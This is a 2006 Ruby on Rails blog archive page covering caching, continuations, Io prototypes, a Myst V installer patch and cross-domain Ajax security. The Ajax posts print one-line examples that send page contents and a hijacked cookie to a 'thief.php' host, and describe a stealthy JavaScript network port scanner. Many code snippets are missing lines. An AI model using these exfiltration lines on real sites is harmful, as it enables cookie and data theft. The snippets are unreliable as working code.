Ruby on Rails, Io, Lisp, JavaScript, Dynamic Languages, Prototype-based programming and more...

Technoblog reader special: $10 off web hosting by FatCow!

Friday, June 16, 2006

Caching Computations During Request Processing Even Better

In a recent post by Stefan Kaes from RailsExpress, Stefan mentions a method I have often used for speeding things up a bit.

module M
def get_data_for(request)
@cached_data_for_request ||=
expensive computation depending on request returning data

However the problem with this method is that if get_data_for(request) returns nil, it will keep performing the request over and over again. Here is a slightly improved version if you don't always expect to get a return value.

module M
def get_data_for(request)
unless @cached_data_found
@cached_data_found = true
@cached_data_for_request =
expensive computation depending on request returning data

You should follow me on twitter here.

Technoblog reader special: click here to get $10 off web hosting by FatCow!

Friday, June 09, 2006

Portland Code Camp 2.0

Aside from the fact that this year, Portland Code Camp is not being
held in Portland, I am very excited. Especially since I am slated to
give 3 talks surrounding Rails.

  • Introduction to Ruby on Rails
  • An Exercise in Meta-Programming with Rails
  • Using Cross-Domain Ajax Today

Come show your Rails support on July 22 & 23 at WSU in Vancouver, WA and say hi to me, I would love to meet you.

You should follow me on twitter here.

Technoblog reader special: click here to get $10 off web hosting by FatCow!

Ruby Cookbook Announcement

The Ruby Cookbook written by Leonard Richardson, myself, and about 40 contributors is complete and will be out in time for OSCON 2006. I am extremely pleased how it turned out and can't wait to share it with you. Right now, the website states the book as being 656 pages, however I would like to announce that this beast clocks in at nearly 900 pages! You read that right. It will be the largest single printed resource for Ruby on the market today. Pre-order now to get the earliest copies or check out the rough cuts version if you can't wait that long.

You should follow me on twitter here.

Technoblog reader special: click here to get $10 off web hosting by FatCow!

Continuations with Ruby

I have been diving into continuations a bit lately and would like to share with you some of my findings. First of all, allow us to let the code speak for itself for a moment. Fire up irb and copy the following in:

class Foo
def bar
catch :break do
puts "starting..."
callcc do |@continuation|
puts "pausing..."
throw :break
puts "finished"
def continue
puts "this puts will not ever be executed"

f = Foo.new
# => starting...
# => pausing...
# => finished

You will notice a few things about this code. First is that callcc
takes a parameter but does not use it. Rather, that parameter
actually becomes a block in it of itself which is called in the
continue method. Next is that within the callcc block we catch a
symbol. We do this specifically and only with the intent of stopping
the flow of the code. The final thing to notice is that as soon as you call the @continuation block, it sends you right back into the bar method to the point after the callcc block is made and continues along its merry way... it does not hop back over to the continue method when finished... it actually transfers into a whole new scope.

If this is new to you, chew on it for a while and enjoy. If this is
old hat, then I have more continuations cooking for you soon. To give
you a hint, there are plenty of ActiveRecord plugins out there but I
am thinking of building on of the first ActionController plugins. I
call it acts_as_continuation.

You should follow me on twitter here.

Technoblog reader special: click here to get $10 off web hosting by FatCow!

What Hapened to Technoblog?

Good question. For those of you who may not have noticed, I have been down for about a month now. Why? Because Managed.com (my dedicated server provider) was recently purchased by Web Host Plus. The way they decided to deal with this move was by turning 7,000 people's servers off without any notice at all, ship them across the country with poor if any labeling, and throw away any servers they did not know what to do with. At least that is what Leonid Gudovich, the Director of Sales told me. My server was one of those that was thrown away. I have been in denial over the last month or so because I wanted to believe if they tried hard enough they would find it. I was wrong. They just couldn't care less. I emailed these people over and over, called them daily, left messages, did everything I could. They almost never responded to email and they never returned a phone call.

Lesson learned: NEVER EVER EVER EVER go for the cheapest dedicated hosting you can find. It will cost you BIG time in the long run. If you are looking for something better, go with ev1servers.net or Rackspace. In the mean time I am going to try to put the pieces of my web presence back together from scattered backups. If any of you have full copies of my previous blog entries, I would kiss your feet if you sent them to me at lucas at rufy.com. I will post them as I receive them. Thanks for hanging in with me and not giving up, I promise to keep up with my blogging now that I have moved to Planet Argon + Blogger setup.

You should follow me on twitter here.

Technoblog reader special: click here to get $10 off web hosting by FatCow!

Ruby vs. Java: A matter of taste

"Jesus reflected on his situation and felt irrepressible sadness. His tear-ducts filled to a point where they could hold no longer and had to be released."


"Jesus wept."

I prefer the later. My favorite author is Hemmingway and my favorite programming language is Ruby. My girlfriend hates Hemmingway, and that's fine. It is all a matter of taste.

A lot of heated debate is going on between the Ruby on Rails camp and the Java camp. In those debates, the dreaded "lines of code" (LOC) comparison frequently shows up in the Ruby side, and the equally misguided response "lines of code mean nothing" statement frequently shows up in the Java side. Usually, when there are arguments of this sort, the truth lies somewhere in the middle and emotions tend to make the arguments lean a little this way or a little that way. Here I will make a level-headed attempt to sketch both sides of the argument and try to pull out a deeper root.

Several times a week, the official Ruby on Rails weblog tends to post a story ala Apple's switch campaign where a deep rooted Java programmer "sees the light" and never wants to program in Java again. Many times, and by many people, the statement has been made that working in the Rails framework provides almost a 10x gain in productivity. Java people like to say that David (the creator of Rails) has brainwashed these people or that this is all hype [1]. Another typical response is that there is no such thing as 10x more productive than Java, that people have been claiming this for years and there is always a catch. In any case, these statements generally degenerate into the following arguments.

LOC don't matter

You can't compare one language to another by lines of code. Look at Perl for example. Many people say that you can develop something quickly in few lines of code, but that you can never maintain it. There are much more important ways to compare languages: can it scale? is it enterprise?, is it maintainable?, how many programmers can I find to finish the job?, etc. [2] Lines of code comparisons are completely meaningless compared to these factors. They just take code out of context.

LOC matter

You can compare LOC because the less code you write, the fewer bugs you will tend to have. Also, as a matter of common sense, it takes less time to write less code. If I can write a program that does the same thing as yours in less lines of code, it will be easier to maintain and add things because I will have to do less searching and I won't have to remember as much to find out how to change things.

When worlds colide

One thing that Ruby and Java people can all agree on is:

"Ruby is a very elegant and descriptive language, which makes Ruby versions of Java code generally shorter and more readable."

Ruby code usually makes sense when read out-loud whereas Java code is over-laden with patterns and when it comes down to it, usually meant to be read by a compiler. That is one of the reasons Ruby people love to show code comparisons, it makes Java look over-complicated and unnecessary. Neither of these is the case, there are things you can do in Java that are simply unavailable to Ruby developers. However these comparisons ultimately lead to clashes like the following where emotions escalate and each tries to show why one is better than another.

Ruby Zealot: (excited about his discovery) hey, look how many fewer lines of code I wrote

Java Zealot: (heard this before, what does the magazine [1] say again?) that's stupid. it doesn't scale and you can't maintain it. you don't know what you are talking about.

Ruby Zealot: (on the defensive) what do you mean? of course I know what I am talking about. your stupid

Java Zealot: (on the defensive) LOC don't matter. no silly scripting language can scale and be maintainable. you'll never get a job with your toy language.

When it comes down to it, the essential feature that the Ruby people are claiming is that Ruby is terse. Rails makes web development terse. In Rails, the framework does the heavy lifting for you. Java people can't be expected to understand what this means unless they try doing their day to day work with Ruby. They can't understand this because Java was never meant to be terse. In fact, after many years of mastering the language, many Java developers revel in its verbosity. Java people like writing out System.out.println("Hello World!"); Some like it because they want to see and constantly be reminded of everything that is going on in their programming environment. Some like it for the same reason that people learn Klingon. Some like it because they don't know there is any other way.

Everyone is entitled to their opinions. My girlfriend thinks that overuse of terseness is a horrible way to write. I guess I am just lazy. I don't want to write for the computer, I want to write for me. I don't want to write 900 lines of Java and XML so that the computer can understand it easier, I want to write 600 lines of Ruby that I can read out-loud to myself because I love to program. I want to let Ruby do the heavy lifting for me, and I hate repeating myself. It is from this train of thought that Rails grows and flourishes.

Nobody's opinion can be forced one way or the other, but many humans prefer to be lazy and let machines work for them. Rails is the natural extension of this for the web-based programmers. That is why you will tend to see Java developers turning into Rails developers and not the other way around. This scares the Java community. Sure some Java developers will look at Rails and say, "that's not for me, I am already comfortable", but I can't imagine many Rails developers saying, "please let me work harder to do the same amount of work".

With regard to the bulk of websites, from low to high complexity, anybody that says that (Rails|Java|PHP|Python|etc.) can't cut it is ignorant and afraid to learn anything that he doesn't already believe in. These people are stuck in their ways and don't have anything constructive to say that transcends their day to day lives. Ebay and Amazon use Java, Yahoo and Friendster use PHP, Google uses Python, Livejournal uses Perl. Rails has been around for only 9 months, but it will have a household name backing it soon too. It has a lot to do with taste, although if you are talking about time-to-market, this changes the playing field. As Paul Graham has shown, terseness in programming has a lot of strong advantages.

In sum, Java zealots, please stop complaining any time David posts stories about people changing their opinions, he has a right to be proud of his hard work just like you do. Ruby zealots, let's be understanding that there are some people who happen to like excessive typing more than us.

[1] Food for though: Rails has no substantial corporate backing. It has no million dollar marketing campaign. These are regular programmers from many different backgrounds coming forward about Rails. They are the ones that you work with every day. Many of them to this day probably have not read David's blog, they simply send their stories to David who rightfully enjoys publishing them. Nobody is paying these people or twisting their arms, because there is nobody to do either of these things. Sun pays a lot of people to say a lot of things. Many companies like Java because they know Sun in a company like them. Companies twist arms, lie, and deceive every day in the name of their shareholders.

[2] From whom do you hear these questions most often: managers or programers? Who are the ones that take out advertisements proclaiming (not explaining) the answer on the pages of PC Magazine and Doctor Dob's Journal?

You should follow me on twitter here.

Technoblog reader special: click here to get $10 off web hosting by FatCow!

Thursday, June 08, 2006

Guide to Installing Myst V on Mac OS X Intel

I am not a gamer. For some reason it is not in my DNA. However I love Myst. I have every game in the series, and those are about the only games I own. Today was my birthday and my brother got me the 5th Myst in the series. I also just purchased a MacBook Pro, so to my astonishment I found myself unable to install with an error.

"Ah," I said to myself, "a challenge."

The following information is not to be used by anyone because the EULA might prevent you from doing so. It is for informational purposes only and mainly takes place on the command line within the Terminal.

cd ~
mkdir myst5 && cd myst5
jar xfv /Volumes/Myst\ V\ EOA/setup.jar
sudo cp -r /Volumes/Myst\ V\ EOA/support .
sudo cp -r /Volumes/Myst\ V\ EOA/setup/60f3b48b952a00f915ae4b48fe453c29/md5 60f3b48b952a00f915ae4b48fe453c29
curl -O http://www.steike.com/code/java-reverse-engineering/jadap158.zip
open jadap158.zip
mv jadap158/* .
./jad com/installshield/wizard/service/file/PureJavaFileServiceImpl.class
open -t PureJavaFileServiceImpl.jad

Look for public String[] getPartitionNames(). This is the place that caused the pesky error. What happened is that Intel Macs currently are missing a Java library that will provide the installer with a list of partitions for the computer. All we have to do is hard code that list and we are home free. Change it to look as follows.

public String[] getPartitionNames()
throws ServiceException
String as[] = new String[2];
as[0] = "/";
as[1] = "/Volumes/Myst V EOA";
return as;

Save and close the file. Back to the command line.

mv PureJavaFileServiceImpl.ja{d,va}
javac PureJavaFileServiceImpl.java
cp PureJavaFileServiceImpl.class com/installshield/wizard/service/file/
java run

Voila! Now it is time for all the Intel Apple-heads to enjoy the Myst V installer like a first class citizen.

There is one more thing though. The same library that gives the installer access to a list of partitions is the one that allows you to set applications as executable. This is why you need to do a little hack to get Myst IV running on Intel Macs too. To fix it, go back to the command line, type cd and then the spacebar. Now find the Myst V program and drag it into the Terminal window and press return. Now type:
chmod +x Contents/MacOS/Myst\ V\ End\ of\ Ages


You should follow me on twitter here.

Technoblog reader special: click here to get $10 off web hosting by FatCow!

A JavaScript Based Firewall-Immobilizing Port Scanner

I finally found a totally unacceptable cross-domain Ajax security issue.

After the hotly debated Debunking Strong Misconceptions About Cross-Domain Ajax Security Issues, most current known security issues concerning cross-domain Ajax were explored and found wanting. All but one edge case of cross-domain Ajax that affects corporations with corporate secrets on intranets. I stand by most of my arguments and believe that many web developers still greatly mis-understand the fundamental principals behind Ajax.

However, I was wrong. Very very wrong. There is something you can do with cross-domain Ajax that is deeply and fundamentally insecure. Something nobody could argue against. I was chatting with my friend Dave Fayram (whom I have started doing a podcast with) when we came across a security issue that would affect every single person who has a cross-domain Ajax enabled browser, not just the corporate intranets.

If you are on a Mac, download safariexploit.html as a file onto your hard drive. Now open it up with Safari and prepared to be scared.

Using the fact that the file:/// protocol in Safari allows you to do cross-domain Ajax as much as you like, you can experiment with the potential security concerns of cross-domain Ajax. I was able to build was a JavaScript based Firewall-Immobilizing Port Scanner in 50 lines of JavaScript. Luckily Safari does not allow cross-domain Ajax from the http:// protocol so this is not something that can be taken advantage of throughout the internet (there is no need to switch away from Safari because of this).

What the port scanner is able to do is explore not only your localhost, but your surrounding network. It can look at the and ranges (as well as any other you specify). It can look at any port you want on any computer you want as long as the local machine can access it. It can even report what version SSH server and web server you are running on all of those computers. It works all in the background without your knowledge while simply viewing a page. At the end of the port scan it posts this data in a public forum that anyone can access.

Nobody can argue that this isn't a Very Bad Thing. Without a white-listing crossdomain.xml file that explicitly lists other sites that are allowed to do cross-domain Ajax communication (an idea that I whole-heartedly believe would change the landscape of the web for the better without the aforementioned otherwise insurmountable security problems), cross-domain Ajax is clearly and fundamentally a very big risk that should remain unimplemented like it stands today.

Many of you might laugh at this conclusion since I was so brazen in my previous post, but if someone would have given me an example half as clear as the one provided here as to why cross-domain Ajax brings up serious security concerns, I would have never had to write that post. The post was intended to straighten out false claims and try to beat out any true claims. As shown by this revelation, I succeeded. The truth remains that many people are and will remain to be confused as to why cross-domain Ajax is a bad idea. They don't understand that the grand majority of the concerns they might have already exist today in many alternative forms. Even those who understood the real security concerns introduced by cross-domain Ajax were not able to give me a clear and penetrating example.

I am currently developing some very interesting applications using a hack that imitates cross-domain Ajax (without any of the security concerns mentioned here). This is why I wanted to explore in detail the security issues surrounding the technology. Google was unable to shed much light because people were not having enlightening conversations, so I am very thankful to all of you who commented on the previous post. I am glad there is now a permanently recorded insightful conversation for a relatively misunderstood topic.

If anyone from IE, Firefox, or Apple is listening, please please please integrate the use of crossdomain.xml policy file and allow us developers some secure cross-domain freedom. The web is missing out on a lot of innovative applications and too many people are creating ugly hacks to get around it.

You should follow me on twitter here.

Technoblog reader special: click here to get $10 off web hosting by FatCow!

Debunking Strong Misconceptions About Cross-Domain Ajax Security Issues

Preface: The issues discussed in this post are still correct, however I have found another more pressing reason that cross-domain Ajax is bad that nobody has mentioned before. Please see A JavaScript Based Firewall-Immobilizing Port Scanner.

Quite a number of people have been discussing possible cross-domain Ajax security issues recently. These are smart people that generally know their technologies very well, but for some reason are missing some fundamental aspects about Ajax. Here are a few articles that I am referring to.

  • Cross Domain XHR
  • Ajax: Is talking to outside domains safe?
  • Ajax, XHR, JavaScript and cross domain security story
  • Cross-Domain Ajax. Security Implications in Depth

To recap the issues mentioned in these articles.

  1. Resource Theft: Does allowing cross-domain Ajax enable theft of resources from intranets and the like?
  2. Cross Site Scripting: Does allowing cross-domain Ajax enable new cross site scripting attacks?
  3. Slow 3rd Party Web Sites: What if your server is in the US, the client is in the US, and the remote service is in India?
  4. Slowing down other peoples sites: What if you use many Ajax calls to try to shut down another person's site?
  5. Session data: If the client can hold session data, then we may be able to open up requests to outside domains, but we would have to some how secure this new data transfer or will see bigger holes for people to attack.
  6. If you allow cross-site ajax, can a malicious web page can perform actions as if you are logged in at that site?
  7. What about trusted domains? Wouldn't it be great to be able to say "mydomain.com trusts yourdomain.com and hisdomain.com" similar to Flash's crossdomain.xml policy file.

I will talk about each of these issues in turn, but the core of every point stem from the same thing. Ajax grabs text data from a server the way that the image tags grab image data from a server. Ajax inherently does not execute any of the text it receives. In fact, as the latest Windows image rendering overflow shows, it can actually be a bigger security risk to show a malicious image on a web page than it would ever be to grab text with Ajax.

Resource Theft

Cross-domain Ajax grabs text from a remote website. If you are really worried that cross-domain Ajax might be able to send local data to a remote server, think again. You don't need cross-domain Ajax, you can do it right now on any browser provided as much access to JavaScript as you would need for cross-domain Ajax in the first place.

(new Image()).src = "http://remotesite.com/thief.php?data=" + encodeURIComponent(document.body.innerHTML);
Cross Site Scripting

This is the funniest of all security concerns about Ajax, since as mentioned many times already, unless you call eval yourself (in which case I hope you are prepared for the results yourself, it has nothing to do with Ajax) Ajax is as innocuous as putting an image from a remote site on your site. No remote scripts are executed by default in Ajax.

Slow 3rd Party Web Sites

If you are requesting text from Russia it might take the page longer to load. If you are requesting an image from Russia it might take the page longer to load. No difference. The name of the game is embedding remote resources wisely, not banning a very useful technology because it can be used in a dumb way.

Slowing down other peoples sites

Again, this is just as easy without cross-domain Ajax as it is with cross-domain Ajax. You could just as easily create dynamic iframes, images, and scripts to accomplish the same end and there are no restrictions in place to stop that family of attacks.

Session data

This actually falls into the same category as resource theft. Cross-domain Ajax does not introduce any new security issues that you don't have access to today.

Performing actions as if you are logged in

Cookie's are protected against cross-domain access and cross-domain Ajax would not circumvent that at all. A malicious site accessing your site would not have access to your cookies no matter how hard it tried, cross-domain Ajax would not change that. One might ask: well what if somehow the cookie is highjacked? Doesn't Ajax make it easier to send? No, no it does not.

(new Image()).src = "http://remotesite.com/thief.php?data=" + encodeURIComponent(hijacked_cookie);
Trusted domains

Some people think that one should require explicit permission to have cross-domain Ajax access to sites. I ask those people why? I don't need permission to curl your site. I don't need permission to embed images from your site into mine. I don't need permission to include scripts from your site. I don't need permission to include iframes that link to your site. Why should I need permission to grab text data from your website from within my site?

If there are any more concerns about cross-domain Ajax that I am missing, please comment. At this moment I can see nothing that makes a difference to security by allowing cross-domain Ajax. Safari already allows cross-domain Ajax (thank you Apple!). I can not wait for the IE and Firefox people to figure out their fears are baseless.

IMPORTANT UPDATE: A Real Concern is Found

Patrick Breitenbach was able to find one single security implication, but it only works if all of the following conditions are satisfied:

  1. POSTs are required (note that unfortunately the vast majority of web applications don't care one way or the other)
  2. the attacker knows, at the very least, the intranet URL
  3. the attacker gets someone inside the intranet to visit that malicious site that targets their particular intranet software
  4. the intranet has no form of internal authentication
  5. the intranet does not check referrers to make sure that the POST comes from a form inside the intranet

If all of those are true, the attacker could have access to slightly more information on the intranet than he could have right now. There are a lot of conditions for this exploit, but the gist of it is you have to have crappy intranet software targeted directly by people with intimate knowledge of your particular intranet system in order for this to make any difference.

Compared to the amazing possible gains of enabling cross-domain Ajax, this seems like way too small of a concern to make a difference. Is this really the only thing holding Firefox and IE from allowing it?

You should follow me on twitter here.

Technoblog reader special: click here to get $10 off web hosting by FatCow!

Prevent Yourself From Writing Bad Code

In an attempt to further train myself to constantly run unit tests, I have come up with a system that almost prevents me from checking in bad code into my Rails subversion repositories. It comes in two pieces.

First is RAILS_ROOT/lib/tasks/svn.rake:

desc "Checkin your changes after running the tests"
Rake::TestTask.new(:changed => [ :prepare_test_database ]) do |t|
info = `svn info`
since = Time.parse(info[/Last Changed Date: .*/])
touched = FileList['test/**/*_test.rb'].select { |path| File.mtime(path) > since } +
recent_tests('app/models/*.rb', 'test/unit', since) +
recent_tests('app/controllers/*.rb', 'test/functional', since)

t.libs << 'test'
t.verbose = true
t.test_files = touched.uniq

desc "Check-in work"
task :ci do
exec("rake", "setup_svn") if `which svnorig`[/no svnorig/]

tests = `rake changed`
puts tests
exec("svnorig", *YAML::load(ENV['MESSAGE'])) unless tests[/rake aborted/]

desc "Install subversion alias"
task :setup_svn do
svn = `which svn`.strip
exec("sudo mv #{svn} #{svn}orig && sudo ln -s #{File.expand_path(RAILS_ROOT)}/bin/svn #{svn} && echo 'All set, use svn ci as you normally would'")

Next is RAILS_ROOT/bin/svn:
#!/usr/bin/env ruby
require 'yaml'

if (ARGV[0] == "ci" || ARGV[0] == "commit") && File.exists?("lib/tasks/svn.rake")
ENV['MESSAGE'] = ARGV.to_yaml
exec("rake", "ci")
exec("svnorig", *ARGV)

To initialize this process, and you only have to do this once per machine you use it on, you simply type:
rake setup_svn

When prompted by sudo, type your user password and you are done.

Now, whenever you are in a Rails root directory and the file lib/tasks/svn.rake exists, svn ci does the following:

  • Find all files that you have touched since the last commit
  • Run and show the unit tests of all of those files
  • If the unit tests pass, commit the changes as expected
  • If the unit tests fail, exit

This all assumes that you have been good and wrote solid unit tests, but as the good programmer I know you are, that should be a valid assumption. Enjoy!

You should follow me on twitter here.

Technoblog reader special: click here to get $10 off web hosting by FatCow!

Classes are Just a Prototype Pattern

My friend Dave Fayram (who helped bring advanced LSI classification to Ruby’s classifier) has heeded Matz’s advice to learn Io and is bringing me with him. I have been thinking a lot about prototyped versus class-based languages lately and once I really understood it, I fell in love. I have a feeling I will be writing a lot about this topic, but here is a brief introduction.

# Class-based Ruby

class Animal
attr_accessor :name

# A class can be instantiated
amoeba = Animal.new
amoeba.name = "Greenie"

# A new class needs to be defined to sub-class
class Dog < Animal
def bark
puts @name + " says woof!"

# A sub-class can be instantiated
lassie = Dog.new
lassie.name = "Lassie"
lassie.bark # => Lassie says woof!

Notice in the Io version that you never ever define a class. You don’t need to.

# Prototype-based Io

Animal := Object clone

# An object can be instantiated
amoeba := Animal clone
amoeba name := "Greenie"

# An object can be used to sub-class
Dog := Animal clone
Dog bark := method(
write(name .. " says woof!")

# An object can be instantiated
lassie := Dog clone
lassie name := "Lassie"
lassie bark # => Lassie says woof!

You will notice some syntactical differences immediately. First, instead of the dot (.) operator, Io uses spaces (note: technically, with a couple lines of Io you can actually make Io use the dot operator or the arrow operator (->) or anything else you would like).

Next, you will notice that instead of making a new instance of a class, when you use prototype-based languages you clone objects. This is the foundation of prototyping… defining classes is unnecessary, everything is just an object! Furthermore, every object is essentially a hash where you can set the values of the hash as methods for that object.

You should follow me on twitter here.

Technoblog reader special: click here to get $10 off web hosting by FatCow!

Last n Characters of a Ruby String

Almost without fail people come to me after using Ruby for a while and ask if there is any easy way to get the last n characters of a string. The easiest way to do it without extending classes is:

str = 'This is a test'
srt[-4,4] # => 'test'

However if you are willing to mixin a nice little method you will forevermore have rapid access to the last characters of a string.

module LastN
def last(n)

class String
include LastN

'This is a test'.last(4) # => 'test'


You should follow me on twitter here.

Technoblog reader special: click here to get $10 off web hosting by FatCow!

Symlinking ActiveRecord Objects

Have you ever needed one object to act like another one? To symlink an object? In Rails it is quite easy to accomplish. Simply add a symlink_id integer field to your database table and use the following code.
class SomeObject < ActiveRecord::Base
def id
return symlink_id? ? super : symlink_id

def symlink(obj)
update_attribute :symlink_id, obj.id

There are many uses for this idea, but unfortunately I can’t reveal my use at the moment. Feel free to post comments with ideas though.

A notable limit to this code is that you can’t symlink objects that aren’t also SomeObject. It is possible to accomplish this as well however. In addition to symlink_id, add a varchar symlink_kind.
class SomeObject < ActiveRecord::Base
class << self
def find(*args)
obj = super(*args)
if obj.is_a? Array
obj.map{|o| o.symlink_kind? && o.symlink_id? ? eval(o.symlink_kind+'.find('+o.symlink_id+')') : o }
obj.symlink_kind? ? eval(obj.symlink_kind+'.find('+obj.symlink_id+')') : obj

def symlink(obj)
self.symlink_id = obj.id
self.symlink_kind = obj.class.to_s

You should follow me on twitter here.

Technoblog reader special: click here to get $10 off web hosting by FatCow!


If you like this blog, you might also like top photography schools.